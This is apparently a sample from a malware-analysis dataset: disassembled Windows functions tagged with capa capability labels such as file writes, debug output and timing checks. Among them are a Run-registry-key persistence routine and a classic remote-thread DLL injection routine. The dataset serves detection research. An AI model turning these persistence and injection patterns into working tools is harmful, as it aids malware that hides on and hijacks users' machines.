joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48d394
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
call fcn.0048e2f8
test byte [ebp + 0xd], 0xc0
jne 0x48d3b8
mov eax, dword [0x4e3140]
mov edx, dword [eax]
and edx, 0xc000
or dword [ebp + 0xc], edx
test byte [ebp + 0xd], 0x80
jne 0x48d3c5
or dword [ebp + 0xc], 0x4000
mov ecx, dword [ebp + 0xc]
and ecx, 0x700
cmp ecx, 0x500
jg 0x48d3f2
je 0x48d404
sub ecx, 0x100
je 0x48d412
sub ecx, 0x100
je 0x48d419
sub ecx, 0x100
je 0x48d40b
jmp 0x48d420
sub ecx, 0x600
je 0x48d419
sub ecx, 0x100
je 0x48d404
jmp 0x48d420
mov edi, 1
jmp 0x48d425
mov edi, 2
jmp 0x48d425
mov edi, 4
jmp 0x48d425
mov edi, 5
jmp 0x48d425
mov edi, 3
test byte [ebp + 0xd], 1
je 0x48d44c
lea eax, [ebp + 0x10]
add eax, 4
mov eax, dword [eax - 4]
and eax, dword [0x4e2bb8]
test al, 0x80
je 0x48d445
mov ebx, 0x80
jmp 0x48d45e
mov ebx, 1
jmp 0x48d45e
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x48d45e
xor ebx, ebx
mov eax, dword [ebp + 0xc]
and eax, 3
sub eax, 1
jb 0x48d470
je 0x48d479
dec eax
je 0x48d482
jmp 0x48d48b
mov dword [ebp - 4], SysStringLen
jmp 0x48d49a
mov dword [ebp - 4], 0x40000000
jmp 0x48d49a
mov dword [ebp - 4], 0xc0000000
jmp 0x48d49a
push 1
call fcn.0048e6f0
pop ecx
mov ebx, eax
jmp 0x48d58a
mov eax, dword [ebp + 0xc]
and eax, 0x70
sub eax, 0x10
je 0x48d4b6
sub eax, 0x10
je 0x48d4bd
sub eax, 0x10
je 0x48d4c6
sub eax, 0x10
je 0x48d4cf
jmp 0x48d4cf
xor edx, edx
mov dword [ebp - 8], edx
jmp 0x48d4d6
mov dword [ebp - 8], 1
jmp 0x48d4d6
mov dword [ebp - 8], 2
jmp 0x48d4d6
mov dword [ebp - 8], 3
mov dword [ebp - 0x14], 0xc
xor ecx, ecx
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x14]
mov eax, dword [ebp + 0xc]
and eax, 0x80
cmp eax, 1
sbb edx, edx
neg edx
mov dword [ebp - 0xc], edx
push 0
push ebx
push edi
push ecx
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp eax, 0xffffffff
jne 0x48d543
call sub.KERNEL32.DLL_GetLastError
mov ebx, eax
and ebx, 0xffff
cmp ebx, 0x6e
jne 0x48d538
test byte [ebp + 0xd], 1
je 0x48d533
mov ebx, 0x50
jmp 0x48d538
mov ebx, 2
push ebx
call fcn.0048e6f0
pop ecx
mov ebx, eax
jmp 0x48d58a
mov edi, esi
push edi
call fcn.0048d2f8
pop ecx
test eax, eax
je 0x48d557
or dword [ebp + 0xc], 0x2000
test bl, 1
jne 0x48d563
or dword [ebp + 0xc], 0x100
and dword [ebp + 0xc], 0xfffff8ff
mov eax, dword [ebp + 0xc]
push eax
push edi
call fcn.0048e418
add esp, 8
mov ebx, eax
inc eax
jne 0x48d58a
push 4
call fcn.0048e6f0
pop ecx
push esi
call sub.KERNEL32.DLL_CloseHandle
call fcn.0048e32c
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x49248c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
je 0x4924ee
call fcn.0049243c
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.0048be70
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.0048be70
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x49256c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x4e41e0], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x492646
cmp dword [0x4e41dc], 0
jne 0x492646
cmp dword [0x4e43e0], 0
je 0x492600
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.0049233c
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4925e6
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.0049233c
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4925e6
lea ebx, [ebp - 0x84]
jmp 0x4925e7
inc ebx
call fcn.00492528
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x492681
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x4e41e4
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.0048be70
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x4e41e7
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x492681
cmp dword [0x4e41dc], 0
je 0x492660
cmp dword [0x4e41dc], 0xffffffff
je 0x492681
push esi
call dword [0x4e41dc]
pop ecx
mov eax, dword [0x4e41e0]
test eax, eax
je 0x492681
cmp dword [0x4e41e0], 0xffffffff
je 0x492681
cmp byte [eax], 0
je 0x492681
push esi
push eax
call fcn.0049248c
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x492e8c
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x4e92cc], 0
jne 0x492f0d
cmp dword [0x4e92ec], 0
jne 0x492ebc
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x4e92ec], eax
test eax, eax
jne 0x492ebc
push str.GetEnvironmentStrings_failed
call fcn.00492698
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x4e92ec]
jmp 0x492ed0
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.0048be70
pop ecx
mov edi, eax
test eax, eax
jne 0x492ec8
lea edi, [ebp + 1]
push edi
call fcn.0048b754
pop ecx
mov ebx, eax
mov dword [0x4e92d0], ebx
test ebx, ebx
jne 0x492efa
xor eax, eax
jmp 0x492fd0
push edi
mov edx, dword [0x4e92ec]
push edx
push ebx
call fcn.0048bd20
add esp, 0xc
jmp 0x492f2d
xor esi, esi
mov ebx, dword [0x4e92cc]
jmp 0x492f27
push eax
call fcn.0048be70
pop ecx
test eax, eax
jne 0x492f23
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x492f17
lea ebx, [esi + 4]
push 4
mov dword [0x4e92d4], ebx
inc ebx
push ebx
call fcn.0048af10
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x492f50
xor eax, eax
jmp 0x492fd0
cmp dword [0x4e92cc], 0
jne 0x492f81
xor esi, esi
mov ebx, dword [0x4e92d0]
mov eax, dword [esp]
mov ebp, eax
jmp 0x492f72
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.0048be70
pop ecx
mov edi, eax
test eax, eax
jne 0x492f68
jmp 0x492fb2
xor esi, esi
mov ebx, dword [0x4e92cc]
mov eax, dword [esp]
mov edi, eax
jmp 0x492fac
push eax
call fcn.0048be70
pop ecx
test eax, eax
je 0x492fa1
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x492fa5
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x492f90
mov eax, dword [0x4e92cc]
test eax, eax
je 0x492fc2
push eax
call fcn.0048b764
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x4e92cc], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x498bb0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf8
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea edx, [ebp - 0x208]
push edx
call sub.USER32.DLL_wvsprintfA
cmp eax, 0x208
jl 0x498bf4
push 0x10e
push str.c:_bcbemuvclutilcls.h
push str.bufSize___sizeof_szBuffer_
call fcn.00407894
add esp, 0xc
cmp eax, 2
jne 0x498bf4
call sub.KERNEL32.DLL_DebugBreak
lea ecx, [ebp - 0x208]
push ecx
call sub.KERNEL32.DLL_OutputDebugStringA
mov esp, ebp
pop ebp
ret
Function at 0x49a9d4
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x49aa02
mov eax, ebx
call fcn.0049b48c
cmp dword [ebx + 0x3c], 0
je 0x49a9fb
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x49aa73
mov edx, dword [ebx + 0x1ac]
cmp dword [edx + 0x10], 0
je 0x49aa65
cmp dword [ebx + 8], 0
je 0x49aa24
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1ac]
call dword [edx]
test eax, eax
jne 0x49aa36
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x49aa65
cmp dword [ebx + 8], 0
je 0x49aa17
cmp eax, 3
je 0x49aa49
dec eax
jne 0x49aa17
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x49aa17
mov edx, dword [ebx + 0x138]
add dword [eax + 8], edx
jmp 0x49aa17
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x49aa91
cmp dword [ebx + 0x10], 0xcc
je 0x49aa91
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0049aa9c
pop ebx
ret

Function at 0x4ac380
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
lea eax, [ebp + 0xc]
push eax
mov edx, dword [ebp + 8]
push edx
push 0x1000
lea ecx, [ebp - 0x1000]
push ecx
call fcn.0048eb7c
add esp, 0x10
lea eax, [ebp - 0x1000]
push eax
call sub.KERNEL32.DLL_OutputDebugStringA
mov esp, ebp
pop ebp
ret
Function at 0x402261
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x402293
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x402293
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x40229a
mov eax, 1
jmp 0x40229f
mov eax, 0
leave
ret

Function at 0x4022a1
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x418]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], str.BuildingBlock.exe
mov dword [ebp - 0x14], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x18], str.BuildingBlock
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
jmp 0x4022f0
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x4022ec
jmp 0x402300
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x4022fc
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
mov dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 7
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x402445
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x402578
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4025db
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x40269d
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x402610
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x40269d
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x40263a
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x40269d
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x402681
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x40269d
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x4030c0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40a044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40a03c]
sub esp, 4
test ebx, ebx
je 0x40310b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x403104
test esi, esi
je 0x403104
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4030e0
mov dword [esp], 0x40a044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4032f0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x403340
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x403418
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40337e
cmp eax, 4
jne 0x4033a0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40338e
cmp edx, 4
je 0x40338e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004032f0
Function at 0x404704
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffbe4
mov esi, edx
mov ebx, eax
test bl, bl
je 0x404746
movzx eax, bl
add ax, 0x41
dec eax
mov word [esp], ax
mov word [esp + 2], 0x3a
mov word [esp + 4], 0
lea eax, [esp + 0x212]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
push esp
call sub.kernel32.dll_SetCurrentDirectoryW
lea eax, [esp + 8]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
test bl, bl
je 0x404766
lea eax, [esp + 0x212]
push eax
call sub.kernel32.dll_SetCurrentDirectoryW
mov eax, esi
lea edx, [esp + 8]
mov ecx, 0x105
call fcn.0040a364
add esp, 0x41c
pop esi
pop ebx
ret

Function at 0x4049bc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004094fc
test esi, esi
jne 0x4049f2
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00409684
jmp 0x404a10
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004048a0
mov edi, eax
test esi, esi
je 0x404a10
cmp dword [ebx], 0
je 0x404a10
dec esi
jmp 0x4049f9
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x40551c
Capabilities:
Read file on windows

Disassembly:
push ebx
xor ecx, ecx
mov ebx, eax
mov cx, word [eax + 4]
sub ecx, 0xd7b1
je 0x405532
sub ecx, 2
jne 0x405554
push 0
mov eax, esp
push 0
push eax
push dword [ebx + 8]
push edx
push dword [ebx]
call sub.kernel32.dll_ReadFile
pop edx
dec eax
jne 0x40555b
cmp edx, dword [ebx + 8]
je 0x405565
mov eax, 0x64
jmp 0x405560
mov eax, 0x67
jmp 0x405560
call sub.kernel32.dll_GetLastError
call fcn.004046e8
pop ebx
ret

Function at 0x40660c
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, eax
movzx eax, word [eax + 4]
sub eax, 0xd7b2
cmp eax, 1
ja 0x40663f
push 0
mov eax, esp
push 0
push eax
push dword [ebx + 8]
push edx
push dword [ebx]
call sub.kernel32.dll_WriteFile
pop edx
dec eax
jne 0x406646
cmp edx, dword [ebx + 8]
je 0x406650
mov eax, 0x65
jmp 0x40664b
mov eax, 5
jmp 0x40664b
call sub.kernel32.dll_GetLastError
call fcn.004046e8
mov eax, ebx
pop ebx
ret
Function at 0x408278
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00408670
mov byte [esp], al
cmp byte [esp], 0
jne 0x408404
test edi, edi
je 0x408404
mov byte [esp + 1], 0
test ebp, ebp
jle 0x40833b
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
test ebp, ebp
jle 0x408316
cmp edi, 0xffffffff
je 0x4082d7
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4082d7
mov byte [esp], 0
jmp 0x408404
mov ebx, dword [esi]
cmp ebx, 1
jg 0x408316
test ebx, ebx
jne 0x40830c
mov eax, esi
xor ecx, ecx
mov edx, 1
call fcn.00402770
test eax, eax
jne 0x40830c
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x408404
call 0x408794
dec ebp
test ebp, ebp
jg 0x4082bc
cmp edi, 0xffffffff
je 0x40833b
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408339
mov byte [esp], 0
jmp 0x408404
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x408286
lea edx, [ebx + 2]
mov eax, esi
mov ecx, ebx
call fcn.00402770
cmp ebx, eax
jne 0x40833b
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408474
mov edx, eax
mov ebx, dword [0x5a88f8]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x4083a2
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x4083a0
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x4083a2
xor edi, edi
cmp byte [esp], 0
je 0x4083cb
mov ebx, dword [esi]
test bl, 1
jne 0x4083e4
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, esi
mov ecx, ebx
call fcn.00402770
cmp ebx, eax
jne 0x4083a8
mov byte [esp + 1], 1
jmp 0x4083e4
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, esi
mov ecx, ebx
call fcn.00402770
cmp ebx, eax
jne 0x4083cb
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408355
cmp byte [esp], 0
je 0x408404
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x409194
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x5a8058], 0
je 0x4091fb
cmp word [0x5a8344], 0xd7b2
jne 0x4091bd
cmp dword [0x5a834c], 0
jbe 0x4091bd
mov eax, 0x5a8340
call dword [0x5a835c]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x409228
call fcn.00409fe0
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x5a2032], 0
jne 0x409217
push 0
push 0x5a29f2
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret